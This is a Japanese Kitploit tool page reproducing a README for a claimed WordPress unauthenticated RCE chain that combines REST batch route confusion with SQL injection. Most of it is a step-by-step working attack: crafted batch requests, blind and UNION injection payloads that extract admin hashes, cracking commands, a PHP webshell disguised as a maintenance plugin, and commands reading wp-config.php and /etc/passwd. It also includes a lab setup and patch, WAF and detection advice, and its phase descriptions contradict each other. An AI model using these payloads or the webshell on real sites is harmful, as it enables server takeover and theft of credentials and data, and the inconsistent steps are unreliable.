Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-60137_CVE-2026-63030 — ルート混乱とSQLインジェクションを組み合わせたWordPressの未認証RCEエクスプロイト。自動化スクリプト、ラボ環境のセットアップ、詳細な脆弱性分析が提供されています。 | Kitploit
ツール/GitHubGitHub/dungsocool/cve-2026-60137_cve-2026-63030
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubdungsocool/cve-2026-60137_cve-2026-63030

CVE-2026-60137_CVE-2026-63030

ルート混乱とSQLインジェクションを組み合わせたWordPressの未認証RCEエクスプロイト。自動化スクリプト、ラボ環境のセットアップ、詳細な脆弱性分析が提供されています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
24日前未レビュー

CVE-2026-60137 + CVE-2026-63030 — WordPress 未認証RCE

脆弱性: REST バッチルート混乱 + WP_Query SQLインジェクション → 完全なRCE

CVSS v3.1: 10.0 / 10.0 — CRITICAL | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

影響を受けるバージョン: WordPress 6.9.0–6.9.4, 7.0.0–7.0.1 | 修正済みバージョン: 6.9.5, 7.0.2``` Zero credentials → Route Confusion → SQLi → Admin → Shell Upload → RCE (www-data)

root@kitploit:~
---

## クイックスタート

### 1. 脆弱性ラボのセットアップ

**要件:** Docker + Docker Compose```bash
git clone https://github.com/Dungsocool/CVE-2026-60137_CVE-2026-63030.git
cd CVE-2026-60137_CVE-2026-63030

# Start vulnerable WordPress
docker compose up -d

# Wait ~30 seconds for WordPress to initialize, then open:
# http://localhost:8080

2. エクスプロイトを実行する```bash

pip install requests

Full auto chain — interactive shell

python3 exploit.py http://localhost:8080

Or run a single command

python3 exploit.py http://localhost:8080 --cmd "cat /etc/passwd"

Check-only mode (no exploitation)

python3 exploit.py http://localhost:8080 --check-only

root@kitploit:~
### 3. 期待される出力```
[*] Phase 1: Confirming Route Confusion (CVE-2026-63030)...
[+] Primer triggered: parse_path_failed
[+] Desync confirmed: rest_invalid_handler
[+] Route Confusion CONFIRMED — auth bypass possible

[*] Phase 2: SQL Injection — extracting admin credentials...
[+] Boolean-based blind SQLi CONFIRMED
[+] Admin username: admin
[+] Password hash: $wp$2y$10$...

[*] Phase 3: Attempting login with common passwords...
[+] LOGIN SUCCESS: admin:admin123

[*] Phase 4: Uploading webshell via plugin upload...
[+] Plugin uploaded
[+] Plugin activated

[*] Phase 5: RCE verification...
[+] Shell found at: /wp-content/plugins/shell/shell.php

[+] RCE CONFIRMED!
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data@target$ _
image image

このリポジトリ内のファイル


詳細な脆弱性分析

CVE-2026-60137(CVE-2026-63030 と連鎖)

脆弱性: 未認証のリモートコード実行 — REST バッチルートの混乱 + WP_Query SQL インジェクション

CVSS v3.1: 10.0 / 10.0 — 緊急

ベクトル: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


1. 概要

CVE-2026-60137 は、WordPress コアにおける未認証の RCE 脆弱性です。この脆弱性は、2 つの独立したバグを組み合わせることで、ゼロアクセスからサーバー完全侵害に至る完全なエクスプロイトチェーンを構成します。

CVEバグチェーン内での役割
CVE-2026-63030REST バッチルートの混乱認証のバイパス
CVE-2026-60137author__not_in SQL インジェクション任意のデータベース読み取り/書き込み

影響を受けるバージョン:

  • 完全な RCE: WordPress 6.9.0 – 6.9.4、7.0.0 – 7.0.1
  • SQLi のみ(対応プラグインが必要): 6.8.0 – 6.8.5
  • 修正済み: 6.9.5、7.0.2、7.1-beta2+

悪用条件:

  • REST API が公開されている(WordPress のデフォルト)
  • 永続オブジェクトキャッシュなし(デフォルトではなし)
  • 公開済み投稿が少なくとも 1 件ある(デフォルトの「Hello World」が存在)
  • アカウントやセッションは一切不要

→ 大多数の WordPress インストールはデフォルトで脆弱です。

2. 用語

REST バッチエンドポイント(/wp-json/batch/v1)

単一の HTTP リクエスト内で複数の REST API リクエストを送信できます:```json POST /wp-json/batch/v1 { "requests": [ {"method": "GET", "path": "/wp/v2/posts/1"}, {"method": "GET", "path": "/wp/v2/users/me"} ] }

root@kitploit:~
各サブリクエストは独自のハンドラとマッチングされ、各ハンドラには独自の**権限コールバック**があります。

### WP_Query — `author__not_in`

コアのデータベースクエリクラス。`author__not_in` パラメータは整数の配列を受け付け、次のSQL句を生成します:```sql
AND post_author NOT IN (5, 12, 23)

各要素は absint() を通過し、整数部分のみが保持されます。

wp_parse_url()

parse_url() のラッパーです。無効なURLを受け取ると WP_Error を返します。```php wp_parse_url("https://example.com/path") // → OK wp_parse_url("///") // → WP_Error

root@kitploit:~
## 3. 根本原因 — バグA: バッチルート混乱 (CVE-2026-63030)

**ファイル:** `wp-includes/rest-api/class-wp-rest-server.php`

### 脆弱なソースコード:```php
public function serve_batch_request_v1( WP_REST_Request $batch_request ) {
    $requests = $batch_request->get_json_params()['requests'];
    $matches  = array();

    foreach ( $requests as $i => $single_request ) {
        $parsed = wp_parse_url( $single_request['path'] );

        if ( is_wp_error( $parsed ) ) {
            $responses[ $i ] = $this->error_to_response( $parsed );
            continue;  // ←BUG: $matches[] is NOT appended
        }

        $matches[] = $this->match_request_to_handler( $parsed );
        // ← sequential indices 0, 1, 2... DO NOT match $i when an error occurs
    }

    // Dispatch — this is where the bug comes into play
    $match_index = 0;
    foreach ( $requests as $i => $single_request ) {
        if ( isset( $responses[ $i ] ) ) continue;

        $handler = $matches[ $match_index ];  // ← INDEX IS DESYNCED
        $match_index++;

        // Request[i] runs with the permission callback OF ANOTHER REQUEST
        $permission_callback = $handler['permission_callback'];
        call_user_func( $permission_callback, $single_request );
    }
}

メカニズム:```

Batch Request: [0]: {"method": "POST", "path": "///"} ← PRIMER (malformed) [1]: {"method": "POST", "path": "/wp/v2/posts", "body": {...}}

Processing: i=0: wp_parse_url("///") → WP_Error → skip → $matches NOT added i=1: wp_parse_url("/wp/v2/posts") → OK → $matches[0] = handler

Dispatch: i=0: skip (already has response) i=1: $handler = $matches[0] → But $matches[0] is NOT the handler meant for request[1] → Incorrect permission callback → bypass authentication

root@kitploit:~
### なぜ `"///"` がバグを引き起こすのか?

PHP の `parse_url()` が `"///"` に遭遇すると、**RFC 3986** — URL構造に従って解析しようとします:```
scheme ://   authority  /       path
  │              │              │
"https"    "localhost:8080"   "/wp/v2/posts"
                 │
             host + port

"///" を受信すると、次のように解釈します:``` // → authority begins (double slash = has host) / → empty authority, path begins immediately → host = "" (empty) → path = "" (empty) → scheme = none

root@kitploit:~
PHP の戻り値:```
parse_url("///")
// → ["host" => "", "path" => ""]
// or false — depending on PHP version

WordPressはこれを wp_parse_url() でラップします → 有効なスキーム、有効なホスト、意味のあるパスがないことを検出 → WP_Error を返します。

wp_parse_url("///") は WP_Error(URL不正)を返します。このエラーにより、$matches を構築するループではリクエストがスキップされますが、ディスパッチループではスキップされません → 配列は**デシンク(同期ずれ)**になります。

4. 根本原因 — バグB: SQLインジェクション (CVE-2026-60137)

ファイル: wp-includes/class-wp-query.php

脆弱なソースコード:```php

class WP_Query { public function get_posts() { global $wpdb;

root@kitploit:~
    if ( ! empty( $q['author__not_in'] ) ) {
        $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));
        $where .= " AND{$wpdb->posts}.post_author NOT IN ($author_not_in)";
        //                                                   ↑ INJECTION POINT
    }
}

}

root@kitploit:~
### 通常(安全な)パス:```
User input → REST Controller → array cast + absint() → WP_Query → SQL
             ↑ sanitization occurs here

REST コントローラー (class-wp-rest-posts-controller.php):```php $args['author__not_in'] = array_map('absint', (array)$request['author_exclude']); // "0) UNION SELECT..." → (array)"0) UNION..." → ["0) UNION..."] → [0] // → SAFE

root@kitploit:~
### ルート混乱のあるパス(脆弱):```
User input → Route Confusion bypass → WP_Query directly → SQL
             ↑ REST controller is SKIPPED

バッチデシンクが発生すると、リクエストパラメータは RESTコントローラーを通過しない → 生の文字列がそのまま WP_Query に渡される → wp_parse_id_list() にはエッジケースのバイパスが存在する → SQLインジェクション。

ペイロード:```

author_exclude = "0) UNION SELECT 1,user_login,user_pass,4,...,23 FROM wp_users-- -"

root@kitploit:~
生成されたSQL:```sql
AND post_author NOT IN (0) UNION SELECT 1,user_login,user_pass,...FROM wp_users-- -)
                            ↑ INJECTED                                           ↑ commented out

5. なぜ両方のバグを連鎖させるのか?

シナリオ結果
バグAのみ(ルート混乱)権限バイパス → しかし注入するものがない
バグBのみ(SQLi)RESTコントローラが常に入力をキャスト → 注入できない
バグA + バグB混乱によりコントローラをバイパス → 生の文字列がSQLへ → RCE

個別には、これら2つのバグは無害です。連鎖して初めて:

  • バグA: サニタイズ層(RESTコントローラ)を除去する
  • バグB: サニタイズがバイパスされたためSQLを注入する

6. 攻撃チェーン分析

フェーズ1: ルート混乱```

POST /wp-json/batch/v1 Content-Type: application/json

{ "requests": [ {"method": "POST", "path": "///"}, {"method": "POST", "path": "/wp/v2/posts", "body": {"author_exclude": "PAYLOAD"}} ] }

root@kitploit:~
→ Response[0]: `parse_path_failed` (プライマー起動)

→ Response[1]: `rest_invalid_handler` (ハンドラーデシンク確認)

### **フェーズ2: SQLインジェクション — データ抽出**

**ブラインドブール型 :**```
0) OR (SELECT ASCII(SUBSTRING(user_login,1,1)) FROM wp_users WHERE ID=1) > 96-- -

TRUE と FALSE の応答を比較 → 各文字をバイナリサーチする。

UNION In-Band :``` 0) UNION SELECT 99999,1,NOW(),NOW(),user_pass,user_login,'','publish', 'closed','closed','','slug','','',NOW(),NOW(),'',0, CONCAT('http://x/',user_login),0,'post','',0 FROM wp_users LIMIT 1-- -

root@kitploit:~
JSONレスポンスで返される、資格情報を含む偽の投稿行。

→ 結果: `wp_users` から `user_login` と `user_pass` (bcryptハッシュ) を正常に抽出しました。

### **フェーズ 3: ハッシュのクラック → 管理者ログイン**

フェーズ 2 で取得したハッシュは bcrypt 形式 (`$wp$2y$10$...`) です。`$wp$` プレフィックスを取り除く → john/hashcat + ワードリストでクラック → 平文パスワードを取得 → `/wp-login.php` にログインします。

**注:** インジェクションポイントは `SELECT` の `WHERE` 句の内部にあります。MySQL はマルチステートメントを無効にするため、UNION は読み取り専用であり、書き込みはできません → SQLi 経由で新しい管理者を直接 INSERT することはできません。有効なセッションを得るにはハッシュをクラックする必要があります。

### フェーズ 4: Webシェルのアップロード```
1. Login with new admin → wp-login.php
2. GET /wp-admin/plugin-install.php?tab=upload → extract _wpnonce
3. POST multipart → upload ZIP plugin containing PHP shell
4. Activate plugin

フェーズ 5: RCE```

GET /wp-content/plugins/shell/shell.php?token=xxx&cmd=id → uid=33(www-data) gid=33(www-data)

root@kitploit:~
## **7. エクスプロイト**

CVE-2026-60137 の悪用は、**ゼロアクセス**(アカウントなし、パスワードなし、セッションなし)から、HTTP リクエストのみで**サーバー完全制御**に至ります。

**要件:** ターゲットが WordPress 6.9.0–6.9.4 または 7.0.0–7.0.1 を実行しており、REST API が公開されている(デフォルトで有効)こと。ログインや認証情報の知識は不要です。

**エクスプロイトチェーンは5つのフェーズで構成されています:**```
Phase 1: Route Confusion      → Bypass authentication
Phase 2: SQL Injection        → Read database (username, password hash)
Phase 3: Crack-Free Admin     → Create new admin without cracking password
Phase 4: Webshell Upload      → Install backdoor via plugin upload
Phase 5: RCE                  → Execute arbitrary commands on the server

7.1 フェーズ 1: ルート混乱の確認

目標: ターゲットが脆弱であることを確認する — プライマリパス "///" を送信するとハンドラー配列が同期しなくなる。

原理: バッチエンドポイントでは、1回のHTTP呼び出しで複数のRESTリクエストを送信できます。wp_parse_url("///") が失敗すると、WordPressは $matches 配列を構築する際にそのリクエストをスキップしますが、ディスパッチ中はスキップしません → ハンドラーがずれます → 後続のリクエストが誤った権限コールバックで実行されます → 認証をバイパス。

リクエストを送信:``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"POST","path":"///"},{"method":"POST","path":"/wp/v2/posts","body":{"title":"test","status":"draft"}}]}

root@kitploit:~
**応答:**```
{
  "responses": [
    {"body": {"code": "parse_path_failed"}, "status": 400},
    {"body": {"code": "rest_invalid_handler"}, "status": 500}
  ]
}

読み方:

images/image.png

レスポンスコード

rest_invalid_handler は次を意味することがわかる: "WordPress は、ハンドラーがリクエストと一致しないことを認識する"

→ つまり、$matches 配列はすでにDESYNCしており、プライマー "///" は機能した。このDESYNCを悪用すると、リクエストを別のルートの権限コールバック(認証を必要としないルート)で実行させることができる。 → 認証バイパスが可能

rest_invalid_handler が見られる → バグA確定。

7.2 フェーズ2: SQLインジェクションの確認

ステップ1 — 真 vs 偽

真 (OR 1=1):

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) OR 1=1-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
**FALSE (AND 1=2):**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/95c08d2e43f06122b224fab9d17c713097a2f740f972da5b9d6d68e10ca4effa.png)```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND 1=2-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

Difference in X-WP-Total → SQLi confirmed.

Step 2 — Extract admin username (Blind Boolean)

1st Character:

images/image.png``` POST /?rest_route=/batch/v1 HTTP/1.1 Host: localhost:8080 Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT SUBSTRING(user_login,1,1) FROM wp_users WHERE ID=1)=CHAR(97)-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

root@kitploit:~
`CHAR(97)` = `'a'`. X-WP-Total=8 (TRUE) → つまり最初の文字は `'a'` です

順番に列挙することで、`user_login` = **"admin"** が得られます。

#### **ステップ3 — パスワードハッシュを抽出**```
POST /?rest_route=/batch/v1 HTTP/1.1
Host: localhost:8080
Content-Type: application/json

{"requests":[{"method":"GET","path":"///"},{"method":"GET","path":"/wp/v2/posts?author_exclude=0) AND (SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users WHERE ID=1) > 30-- -"},{"method":"GET","path":"/wp/v2/posts"}]}

images/image.png

images/image.png

バイナリ検索を使用して、user_pass 内の各文字のASCIIコードを決定します。``` Payload: ASCII(SUBSTRING(user_pass,1,1)) > 30 → X-WP-Total: 8 (TRUE) Payload: ASCII(SUBSTRING(user_pass,1,1)) > 40 → X-WP-Total: 0 (FALSE)

root@kitploit:~
2つの相反する応答から、最初の文字のASCIIが範囲 **(30, 40]** 内にあることが確認されました。さらに絞り込みを続けます:```
> 35  →  TRUE
> 36  →  FALSE
→ ASCII = 36 = '$'

引き続き各位置を二分探索し → ハッシュプレフィックス文字列 $wp$ を取得します:

引き続きBLIND SQLで1文字ずつ取得:

→ 完全なハッシュ: $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

7.3 フェーズ3: 管理者ログイン

フェーズ2の後、以下が得られます:

  • user_login = admin
  • user_pass = $wp$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi

ハッシュのクラック

WordPressのハッシュは bcrypt 形式($2y$10$)を使用し、コスト係数は10です。クラックする前に、$wp$ プレフィックスを取り除く必要があります。hashcat/john は純粋なbcryptのみを受け付けるためです:```

Save the pure bcrypt part (remove $wp$ prefix)

echo '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi' > hash.txt

Crack using john

john hash.txt --wordlist=mini_wordlist.txt --format=bcrypt

root@kitploit:~
**結果:**

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/29e2f2018d63e7bdb2c8a633cb151d0aeab28801b47c7ec270be116ec2030f89.png)

パスワード **`admin123`** はワードリストに含まれている → john は即座にクラックに成功する。

→ `/wp-login.php` に `admin:admin123` でログイン成功。

### **7.4 フェーズ4: ウェブシェルのアップロード**

この時点で、有効な管理者セッションを取得している。次の目標は、**サーバーにバックドアを仕込み**、認証情報に依存せずにアクセスを維持することだ。

WordPress では管理者が ZIP 形式のプラグインをアップロードできる — これは正規の機能であり、これを悪用する。

#### **ウェブシェルの作成**

まず、システムコマンドを実行する PHP ファイルが必要だ。このファイルは、WordPress が受け入れるフェイクプラグインにパッケージ化される:```php
<?php
/*
Plugin Name: Maintenance Utility
Version: 1.0
*/
if (isset($_GET['token']) && $_GET['token'] === 'secret123' && isset($_GET['cmd'])) {
    header('Content-Type: text/plain');
    echo shell_exec($_GET['cmd'] . ' 2>&1');
    exit;
}

secret123 トークンはパスワードとして機能し、他のユーザーが誤ってシェルを起動するのを防ぎます。```bash mkdir shell && mv shell.php shell/ zip -r shell.zip shell/

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/bf2671815ada8d413fdb42cdd06b8b42c7a549846557a6e3ff541147010bf104.png)

正常に作成されました。

#### **WordPress にアップロード**

`shell.zip` の作成が成功したら、プラグインセクションに zip ファイルをアップロードしてトリガーします。

WordPress はファイルを展開して次の場所に配置します:```
/var/www/html/wp-content/plugins/shell/shell.php

The plugin appears in the list under the name "Maintenance Utility" with the status Active → the webshell is now ready to be triggered via HTTP.

images/image.png

UPLOAD and ACTIVE successful.

7.5 Phase 5: RCE

Thus, the Shell is on the server. Call it to execute the shell.

Confirm RCE:``` GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=id

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/eb3f921660da2c214487a9ccb062f173bee25b881e7ff7c95be685fbb061bf2a.png)```
uid=33(www-data) gid=33(www-data) groups=33(www-data)

www-data ユーザーとして実行 — ウェブサーバーのユーザー。次に、影響を拡大します:

WordPress 設定ファイルを読み取る:```

GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/var/www/html/wp-config.php

root@kitploit:~
![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/3db8d0921065eb40ee3e8d305fbc365c924f7d8950921b034d521037c676a9bf.png)

 — ウェブシェル経由で`wp-config.php`ファイルを読み取るコマンドを実行 — WordPressのすべてのシークレットキー(`AUTH_KEY`, `SECURE_AUTH_KEY`, `LOGGED_IN_KEY`, `NONCE_KEY`,...)とデータベース認証情報を公開する。これはWordPressインストールにおいて最も機密性の高い情報である。

![images/image.png](https://assets.kitploit.com/production/public/readmes/43120/ea90ae9a1698312588a1dd97c804f1612a8bb09889eb12aafcb3ed1e68295826.png)

*—* レスポンスは`wp-config.php`の内容を返し、`DB_NAME`、`DB_USER`、`DB_PASSWORD`、`DB_HOST`を含む — WordPressを介さずにデータベースサーバーへ直接アクセスするのに十分である。

#### **すべてのシステムユーザーを読み取る:**```
GET /wp-content/plugins/shell/shell.php?token=secret123&cmd=cat+/etc/passwd

images/image.png

→ OSレベルのアクセスが確認され、WordPressのスコープに制限されなくなりました。

この時点で、エクスプロイトチェーンは完了です:``` Zero credentials ↓ Route Confusion (Bug A) Auth bypass ↓ SQL Injection (Bug B) admin:admin123 ↓ hashcat/john Admin session ↓ Plugin upload Webshell active ↓ shell_exec() Full RCE — www-data

root@kitploit:~
### **7.6 概要**

| **#** | **フェーズ** | **メソッド** | **パス** |
| --- | --- | --- | --- |
| 1 | SQLi TRUE | POST | `/?rest_route=/batch/v1` |
| 2 | SQLi FALSE | POST | `/?rest_route=/batch/v1` |
| 3 | ユーザー名の抽出 | POST | `/?rest_route=/batch/v1` |
| 4 | ハッシュの抽出 | POST | `/?rest_route=/batch/v1` |
| 5 | 管理者ログイン | POST | `/wp-login.php` |
| 6 | nonce の取得 | GET | `/wp-admin/plugin-install.php` |
| 7 | シェルアップロード | POST | `/wp-admin/update.php` |
| 8 | 有効化 | GET | `/wp-admin/plugins.php` |
| 9 | **RCE** | GET | `/wp-content/plugins/shell/shell.php` |

**9リクエスト。初期認証情報ゼロ。ログインページからサーバー完全制御へ。**

## 8. CVSS 内訳

| メトリクス | 値 | 理由 |
| --- | --- | --- |
| 攻撃元区分 | ネットワーク | HTTP経由のリモート |
| 攻撃条件の複雑さ | 低 | 決定的で、タイミング/競合は不要 |
| 必要な特権レベル | 不要 | 完全に未認証 |
| ユーザー関与レベル | 不要 | 被害者の操作は不要 |
| 影響範囲 | 変更あり | WP → OSレベル(www-data) |
| 機密性への影響 | 高 | DBの完全読み取り |
| 完全性への影響 | 高 | 任意のDB書き込み、ファイルアップロード |
| 可用性への影響 | 高 | テーブルのDROP、ランサムウェア |

## 9. 影響

### 技術的影響

| レイヤー | 影響 |
| --- | --- |
| データベース | すべてに対する読み取り/書き込みアクセス: wp_users、wp_options、wp_posts |
| アプリケーション | 管理者の作成、コンテンツの改変、バックドアのインストール |
| サーバー | www-data としての RCE、wp-config.php、/etc/passwd の読み取り |
| ネットワーク | DB認証情報を介した内部サービスへのピボット |

### ビジネスへの影響

| シナリオ | 結果 |
| --- | --- |
| Eコマース | PIIの漏洩、決済キーの窃取、スキマーの注入 |
| 企業 | 改ざん、SEOスパム、マルウェア配布 |
| マルチサイト | 1回のエクスプロイトでネットワーク全体を侵害 |
| SaaS(WPマーケティング) | 環境変数の抽出 → 本番環境へのピボット |

### リスクのあるデータ

- `wp_users`: ユーザー名、メールアドレス、パスワードハッシュ
- `wp_usermeta`: PII(氏名、電話番号、住所)、session_tokens
- `wp_options`: DB認証情報、SMTP認証情報、決済APIキー、WordPressソルト
- `wp-config.php`: データベースのホスト/ユーザー/パスワード、秘密鍵
- `/proc/self/environ`: 環境変数

## 10. 防御と対策

### 10.1 パッチ(徹底的)

| 現在のバージョン | アップグレード先 |
| --- | --- |
| 6.9.0 – 6.9.4 | **6.9.5** |
| 7.0.0 – 7.0.1 | **7.0.2** |
| 6.8.x | **6.8.6** |

### 10.2 コード修正

**バグA — ルート混乱:**```php
// BEFORE: $matches[] is offset when an error occurs
if (is_wp_error($parsed)) { continue; }
$matches[] = $match;

// AFTER: Use $i to maintain alignment
if (is_wp_error($parsed)) { $matches[$i] = null; continue; }
$matches[$i] = $match;

バグ B — SQL インジェクション:```php // BEFORE: wp_parse_id_list has an edge case $author_not_in = implode(',', wp_parse_id_list($q['author__not_in']));

// AFTER: Force cast + explicit absint $safe = array_map('absint', array_filter((array)$q['author__not_in'])); $author_not_in = implode(',', $safe);

root@kitploit:~
### 10.3 一時的な緩和策

**1. バッチエンドポイントを無効化(最も効果的):**```php
add_filter('rest_endpoints', function($endpoints) {
    unset($endpoints['/batch/v1']);
    return $endpoints;
});

2. Redis/Memcached を有効にする:```bash wp plugin install redis-cache --activate wp redis enable

root@kitploit:~
→ UNIONインジェクションは反映されません(キャッシュが古いデータを返すため)。

**3. WAFルール:**```nginx
location /wp-json/batch/ {
    if ($request_body ~* '"path"\s*:\s*"///') {
        return 403;
    }
}

10.4 検出

ログパターン:``` POST /wp-json/batch/v1 HTTP/1.1" 207 ← anomalous batch requests POST /wp-json/wp/v2/users HTTP/1.1" 201 ← newly created admin POST /wp-admin/update.php HTTP/1.1" 200 ← plugin upload immediately after GET /wp-content/plugins/*/shell.php" 200 ← webshell access

root@kitploit:~
**IOC チェック:**```bash
wp user list --role=administrator          # unfamiliar admin?
ls wp-content/mu-plugins/                  # backdoor?
wp core verify-checksums                   # core modified?
ツールをダウンロード
ファイル説明
README.md完全な脆弱性分析と悪用手順の解説書
exploit.py自動化エクスプロイトスクリプト(ゼロアクセスから 1 コマンドで RCE)
docker-compose.yml脆弱な WordPress ラボ環境
chain-rce.md自動化 RCE チェーンのドキュメント
images/手動悪用時のスクリーンショット
意味
[0]parse_path_failedプライマー成功 — wp_parse_url("///") 失敗
[1]rest_invalid_handlerDESYNC! リクエストが誤ったハンドラーを受信 → 認証バイパス
位置ASCII文字備考
136$ハッシュプレフィックス
2119w
3112p
436$→ $wp$ = bcryptの派生形式
5-20...2y$10$aJgATdlhfIコスト係数 + ソルト